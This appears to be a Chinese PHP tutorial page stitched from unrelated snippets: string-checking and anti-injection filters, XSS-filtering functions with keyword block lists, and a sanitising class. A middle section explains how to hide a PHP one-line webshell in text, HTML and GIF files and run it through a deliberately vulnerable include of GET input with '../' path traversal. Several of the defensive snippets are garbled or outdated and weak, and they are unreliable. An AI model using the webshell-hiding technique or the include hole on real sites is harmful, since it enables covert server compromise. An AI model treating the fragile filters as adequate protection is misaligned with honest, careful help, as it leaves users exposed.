php 字符串检查类

 更新时间:2016年11月25日 15:26  点击:1876

*
 字符串检查类
 *@author  sanshi
    QQ:35047205
    Email:sanshi0815@tom.com
    MSN:sanshi0815@tom.com

*/
class checkBase
{
 function checkBase()
 {
 }
 /*
 用来检查字符串是否为空
 *@param $str 检查的字段
 *@param $isStr 如果字段有可能唯一字符是数字或者bool类型时使用
 为空的时候返回true
 */
 function strIsNull($str,$isStr=true)
 {
  return $isStr?(empty($str)?true:false)
      :(isset($str)?false:true);
 }
 /*
 字符串与正则表达式做比较
 @param $str   要比较的字符串
 @param $pattern     要比对的正则
 与正则比对上了返回true
 */
 function strComparePattern($str,$pattern)
 {
  if(ereg($pattern,$str))
  {
   //找到了返回
   return true;
  }
  return false;
 }
 /*
 判断字符串长短
 @param $str 要检查的字符串
 @param $max 最大长度
 @param $min 最小长度
 符合要求返回true
 */
 function strCompareLen($str,$max,$min=1)
 {
  $len = strlen($str);
  $max=empty($max)?$len:$max;
  return ($len>$max || $len<$min)?false:true;
 }
 /*
 信息处理,跳转到页面
 @param $page     跳转到的页面   
 @param $msg      提示信息
 */
 function msg($page,$msg)
 {
  $msg = empty($msg)?'''''''':"?msg=".base64_encode($msg);
  $url=$page.$msg;
  if(@header("Location:".$url))
  {
     echo "<meta http-equiv=refresh content=''''0;url=".$url."''''>";
  }
  exit();
 }
 
}

 


<?php
/*************************
说明:
判断传递的变量中是否含有非法字符
如$_POST、$_GET
功能:
防注入
**************************/
//要过滤的非法字符
$ArrFiltrate=array("''''",";","union");
//出错后要跳转的url,不填则默认前一页
$StrGoUrl="";
//是否存在数组中的值
function FunStringExist($StrFiltrate,$ArrFiltrate){
foreach ($ArrFiltrate as $key=>$value){
    if (eregi($value,$StrFiltrate)){
        return true;
    }
  }
return false;
}
//合并$_POST 和 $_GET
if(function_exists(array_merge)){
    $ArrPostAndGet=array_merge($HTTP_POST_VARS,$HTTP_GET_VARS);
}else{
    foreach($HTTP_POST_VARS as $key=>$value){
        $ArrPostAndGet[]=$value;
    }
    foreach($HTTP_GET_VARS as $key=>$value){
        $ArrPostAndGet[]=$value;
    }
}
//验证开始
foreach($ArrPostAndGet as $key=>$value){
    if (FunStringExist($value,$ArrFiltrate)){
        echo "<script language="javascript">alert("非法字符");</script>";
        if (empty($StrGoUrl)){
        echo "<script language="javascript">history.go(-1);</script>";
        }else{
        echo "<script language="javascript">window.location="".$StrGoUrl."";</script>";
        }
        exit;
    }
}
?>

保存为checkpostandget.php
然后在每个php文件前加include(“checkpostandget.php“);即可
 

如何攻击,在此不作说明(也不要问我),主要谈谈如何防范。首先,跨站脚本攻击都是由于对用户的输入没有进行严格的过滤造成的,所以我们必须在所有数据进入我们的网站和数据库之前把可能的危险拦截。针对非法的HTML代码包括单双引号等,可以使用htmlentities() 。

<?php
$str = "A ''''quote'''' is <b>bold</b>";

// Outputs: A ''''quote'''' is &lt;b&gt;bold&lt;/b&gt;
echo htmlentities($str);

// Outputs: A &#039;quote&#039; is &lt;b&gt;bold&lt;/b&gt;
echo htmlentities($str, ENT_QUOTES);
?>


这样可以使非法的脚本失效。
 
但是要注意一点,htmlentities()默认编码为 ISO-8859-1,如果你的非法脚本编码为其它,那么可能无法过滤掉,同时浏览器却可以识别和执行。这个问题我先找几个站点测试后再说。

这里提供一个过滤非法脚本的函数:

function RemoveXSS($val) {
   // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
   // this prevents some character re-spacing such as <java\0script>
   // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
   $val = preg_replace(''''/([\x00-\x08][\x0b-\x0c][\x0e-\x20])/'''', '''''''', $val);
   
   // straight replacements, the user should never need these since they''''re normal characters
   // this prevents like <IMG SRC=&#X40&#X61&#X76&#X61&#X73&#X63&#X72&#X69&#X70&#X74&#X3A&#X61&#X6C&#X65&#X72&#X74&#X28&#X27&#X58&#X53&#X53&#X27&#X29>
   $search = ''''abcdefghijklmnopqrstuvwxyz'''';
   $search .= ''''ABCDEFGHIJKLMNOPQRSTUVWXYZ'''';
   $search .= ''''1234567890!@#$%^&*()'''';
   $search .= ''''~`";:?+/={}[]-_|\''''\\'''';
   for ($i = 0; $i < strlen($search); $i++) {
      // ;? matches the ;, which is optional
      // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
   
      // &#x0040 @ search for the hex values
      $val = preg_replace(''''/(&#[x|X]0{0,8}''''.dechex(ord($search[$i])).'''';?)/i'''', $search[$i], $val); // with a ;
      // &#00064 @ 0{0,7} matches ''''0'''' zero to seven times
      $val = preg_replace(''''/(&#0{0,8}''''.ord($search[$i]).'''';?)/'''', $search[$i], $val); // with a ;
   }
   
   // now the only remaining whitespace attacks are \t, \n, and \r
   $ra1 = Array(''''javascript'''', ''''vbscript'''', ''''expression'''', ''''applet'''', ''''meta'''', ''''xml'''', ''''blink'''', ''''link'''', ''''style'''', ''''script'''', ''''embed'''', ''''object'''', ''''iframe'''', ''''frame'''', ''''frameset'''', ''''ilayer'''', ''''layer'''', ''''bgsound'''', ''''title'''', ''''base'''');
   $ra2 = Array(''''onabort'''', ''''onactivate'''', ''''onafterprint'''', ''''onafterupdate'''', ''''onbeforeactivate'''', ''''onbeforecopy'''', ''''onbeforecut'''', ''''onbeforedeactivate'''', ''''onbeforeeditfocus'''', ''''onbeforepaste'''', ''''onbeforeprint'''', ''''onbeforeunload'''', ''''onbeforeupdate'''', ''''onblur'''', ''''onbounce'''', ''''oncellchange'''', ''''onchange'''', ''''onclick'''', ''''oncontextmenu'''', ''''oncontrolselect'''', ''''oncopy'''', ''''oncut'''', ''''ondataavailable'''', ''''ondatasetchanged'''', ''''ondatasetcomplete'''', ''''ondblclick'''', ''''ondeactivate'''', ''''ondrag'''', ''''ondragend'''', ''''ondragenter'''', ''''ondragleave'''', ''''ondragover'''', ''''ondragstart'''', ''''ondrop'''', ''''onerror'''', ''''onerrorupdate'''', ''''onfilterchange'''', ''''onfinish'''', ''''onfocus'''', ''''onfocusin'''', ''''onfocusout'''', ''''onhelp'''', ''''onkeydown'''', ''''onkeypress'''', ''''onkeyup'''', ''''onlayoutcomplete'''', ''''onload'''', ''''onlosecapture'''', ''''onmousedown'''', ''''onmouseenter'''', ''''onmouseleave'''', ''''onmousemove'''', ''''onmouseout'''', ''''onmouseover'''', ''''onmouseup'''', ''''onmousewheel'''', ''''onmove'''', ''''onmoveend'''', ''''onmovestart'''', ''''onpaste'''', ''''onpropertychange'''', ''''onreadystatechange'''', ''''onreset'''', ''''onresize'''', ''''onresizeend'''', ''''onresizestart'''', ''''onrowenter'''', ''''onrowexit'''', ''''onrowsdelete'''', ''''onrowsinserted'''', ''''onscroll'''', ''''onselect'''', ''''onselectionchange'''', ''''onselectstart'''', ''''onstart'''', ''''onstop'''', ''''onsubmit'''', ''''onunload'''');
   $ra = array_merge($ra1, $ra2);
   
   $found = true; // keep replacing as long as the previous round replaced something
   while ($found == true) {
      $val_before = $val;
      for ($i = 0; $i < sizeof($ra); $i++) {
         $pattern = ''''/'''';
         for ($j = 0; $j < strlen($ra[$i]); $j++) {
            if ($j > 0) {
               $pattern .= ''''('''';
               $pattern .= ''''(&#[x|X]0{0,8}([9][a][b]);?)?'''';
               $pattern .= ''''|(&#0{0,8}([9][10][13]);?)?'''';
               $pattern .= '''')?'''';
            }
            $pattern .= $ra[$i][$j];
         }
         $pattern .= ''''/i'''';
         $replacement = substr($ra[$i], 0, 2).''''<x>''''.substr($ra[$i], 2); // add in <> to nerf the tag
         $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
         if ($val_before == $val) {
            // no replacements were made, so exit the loop
            $found = false;
         }
      }
   }
}

最近很多朋友都在问我是否能把我那一句话木马隐藏到HTML或图片里,其实把一句话木马插入到PHP文件中就已经很隐蔽了,如果说硬是要放到HTML文件或图片里,就接着往下看的这篇测试报告吧。
 
要知道如果光把PHP语句放到图片里是无论如何也不能执行的,因为PHP只解析扩展名为php的文件。所以说要能使隐藏在图片里的PHP语句执行。我们就的借助PHP中的调用函数 :include 、require 等。

 

我们还记得前些日子把木马隐藏到图片的文章吧。也就是在PHP文件里用include("x.gif")这样的语句来调用隐藏在图片的木马语句。ASP中语句也类似。看似非常隐蔽但直接调用图片对稍微懂点PHP的人就不难发现可疑之处。由于URL 里用GET方式很难传递参数,这就使得插入木马的性能得不到发挥。 Chinaz

Include 函数在PHP中使用的比较频繁,所以引起的安全问题也实在太多,例如PHPWIND1.36的漏洞就是因为include后面的变量没做过滤引起的。由此我们就可以构造类似的语句来插入到PHP文件中。然后把木马隐藏到图片或HTML文件里,可以说隐蔽性就更高了。如在PHPWIND论坛里插入下面的语句:

 

<‘’?@include includ/.$PHPWIND_ROOT;? > 站.长站

一般管理员是无法看出来的。 Chinaz

有了include 函数来辅助帮忙我们就可以把PHP木马隐藏到 诸如 txt、html和图片文件等很多类型的文件里来了。因为txt、html和图片文件这三种类型的文件最无论在论坛还是文章系统里是最为常见的了,下面我们就依次来做测试。 中国站.长.站

首先建立一PHP文件test.php 文件内容为:

以下为引用的内容:
    $test=$_GET['test'];
    @include 'test/'.$test
    ?>
Chinaz@com

Txt文件一般都是说明文件,所以我们把一句话木马放到目录的说明文件里就OK了。随便建立一个TXT文件t.txt。我们把一句话木马粘贴到t.txt文件里。然后访问 hxxp://localhost/test/test.php?test=../t.txt 如果你看到t.txt的内容就证明Ok了, 然后把在lanker微型PHP后门客户端 木马地址添入 hxxp://localhost/test/test.php?test=../t.txt 密码里添入cmd就可以了,执行返回的结果都可以看到。

 

 

对于HTML的文件,一般都为模版文件。为了使插入到HTML的文件的木马能被调用执行而且不被显示出来,我们可以在HTML里加入一个隐藏属性的文本框 ,如: 然后使用方法同上。执行的返回结果一般都可以查看源文件看到。 如使用查看本程序目录功能。查看源文件内容为 我可以得到目录为 C:\Uniserver2_7s\www\test。 Www~Chinaz~com

下面我们说说图片文件,要说最为毒的一招莫过于把木马隐藏到图片里。我们可以直接对一个图片进行编辑,把插入到图片末尾

 

经测试一般都不会对图片造成影响。然后同样方法客户端木马地址添入 

我们查看PHP环境变量 返回的是结果是原图片。

 

这里可能要和我们想象的结果有些差距了,其实命令已经运行了,只是返回的结果看不到而已,因为这是真正的GIF文件,所以是不会显示返回结果的,为了证明是否真的执行了命令我们 执行上传文件命令。果不出所料,文件已经成功上传到服务器上。这样伪造的优点是隐蔽性好。缺点也自然不用说了是没回显。如果你想看到返回的结果,那就拿出记事本伪造一个假的图片文件吧。

 代码如下 复制代码


<?php
/**
* @name date safe class 0.1
* @author kevin xu
* @copyright kenvin E-mail:gincn@cn.cashboxparty.com MSN:gincn@live.cn
*/
interface dateSafe{
 function gincn();
}
class safe extends doSafe implements dateSafe
{
 public $safe;
 function __construct($safe)
 {
  parent::__construct($safe);       //调用父类构造函数,网友javachen找出来的错误
  $this->safe = $safe;
 }
 function gincn()
 {
  $this->safe = parent::xss($this->safe);
  $this->safe = parent::sql($this->safe);
  return $this->safe;
 }
}
class doSafe
{
 protected  $str;
 function __construct($str)
 {
  $this->str = $str;
 }
 function xss()
 {
  $this->str = trim($this->str);         //清理空格字符
  $this->str = nl2br($this->str);         //将换行符转化为<br />
  $this->str = strip_tags($this->str);      //过滤文本中的HTML标签
  $this->str = htmlspecialchars($this->str);    //将文本中的内容转换为HTML实体
  $this->str = addslashes($this->str);      //加入字符转义
  return $this->str;
 }
 function sql()
 {
  $this->str = mysql_escape_string($this->str);
  return $this->str;
 }
}

?>

[!--infotagslink--]

相关文章

  • C#中截取字符串的的基本方法详解

    这篇文章主要介绍了C#中截取字符串的的基本方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-11-03
  • c#中判断字符串是不是数字或字母的方法

    这篇文章介绍了C#判断字符串是否数字或字母的实例,有需要的朋友可以参考一下...2020-06-25
  • PostgreSQL判断字符串是否包含目标字符串的多种方法

    这篇文章主要介绍了PostgreSQL判断字符串是否包含目标字符串的多种方法,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...2021-02-23
  • 详解C++ string常用截取字符串方法

    这篇文章主要介绍了C++ string常用截取字符串方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-04-25
  • php字符串按照单词逐个进行反转的方法

    本文实例讲述了php字符串按照单词进行反转的方法。分享给大家供大家参考。具体分析如下:下面的php代码可以将字符串按照单词进行反转输出,实际上是现将字符串按照空格分隔到数组,然后对数组进行反转输出。...2015-03-15
  • 运行vbs脚本报错无效字符、中文乱码的解决方法(编码问题)

    今天在写一个vbs的时候,发现中文乱码,后来写好代码正常运行的代码压缩一下给了同事,发现报无效字符,经过验证后发现原来是编码的问题导致,这里就为大家分享一下...2020-06-30
  • MySQL 字符串拆分操作(含分隔符的字符串截取)

    这篇文章主要介绍了MySQL 字符串拆分操作(含分隔符的字符串截取),具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2021-02-22
  • C#实现字符串转换成字节数组的简单实现方法

    这篇文章主要介绍了C#实现字符串转换成字节数组的简单实现方法,仅一行代码即可搞定,非常简单实用,需要的朋友可以参考下...2020-06-25
  • 使用list stream: 任意对象List拼接字符串

    这篇文章主要介绍了使用list stream:任意对象List拼接字符串操作,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教...2021-09-09
  • C# 16 进制字符串转 int的方法

    这篇文章主要介绍了C# 16 进制字符串转 int的方法,非常不错,具有参考借鉴价值,需要的朋友可以参考下...2020-06-25
  • 获取中文字符串的实际长度代码

    JS中默认中文字符长度和其它字符长度计算方法是一样的,但某些情况下我们需要获取中文字符串的实际长度,代码如下: 复制代码 代码如下: function strLength(str) { var realLength = 0, len = str.length, charCode = -1;...2014-06-07
  • PostgreSQL 字符串处理与日期处理操作

    这篇文章主要介绍了PostgreSQL 字符串处理与日期处理操作,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2021-02-01
  • php 中英文混合字符串截取

    文章介绍一个实用的函数,我们如果用php substr来截取字符在中文上处理的很有问题,今天自己写了一个比较好的中文与英文字符截取的函数,有需要的朋友可以参考下。 ...2016-11-25
  • C#实现对字符串进行大小写切换的方法

    这篇文章主要介绍了C#实现对字符串进行大小写切换的方法,涉及C#操作字符串的技巧,具有一定参考借鉴价值,需要的朋友可以参考下...2020-06-25
  • c#将字节数组转成易读的字符串的实现

    这篇文章主要介绍了c#将字节数组转成易读的字符串的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-06-25
  • C#获取字符串后几位数的方法

    这篇文章主要介绍了C#获取字符串后几位数的方法,实例分析了C#操作字符串的技巧,具有一定参考借鉴价值,需要的朋友可以参考下...2020-06-25
  • 解决vue字符串换行问题(绝对管用)

    这篇文章主要介绍了解决vue字符串换行问题(绝对管用),具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2020-08-06
  • C#判断一个字符串是否是数字或者含有某个数字的方法

    这篇文章主要介绍了C#判断一个字符串是否是数字或者含有某个数字的方法,本文给大家介绍的非常详细,具有一定的参考借鉴价值,需要的朋友可以参考下...2020-06-25
  • 【C#基础】Substring截取字符串的方法小结(推荐)

    这篇文章主要介绍了Substring截取字符串方法小结,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-06-25
  • 使用PHP similar text计算两个字符串相似度

    在网站开发中,我们经常使用php similar text 计算两个字符串相似度;1,similar_text的用法 如果我想计算"ly89cn"和"ly89"的相似程度,有两种表示方法复制代码 代码如下: echo similar_text('ly89cn', 'ly89'); ...2015-11-08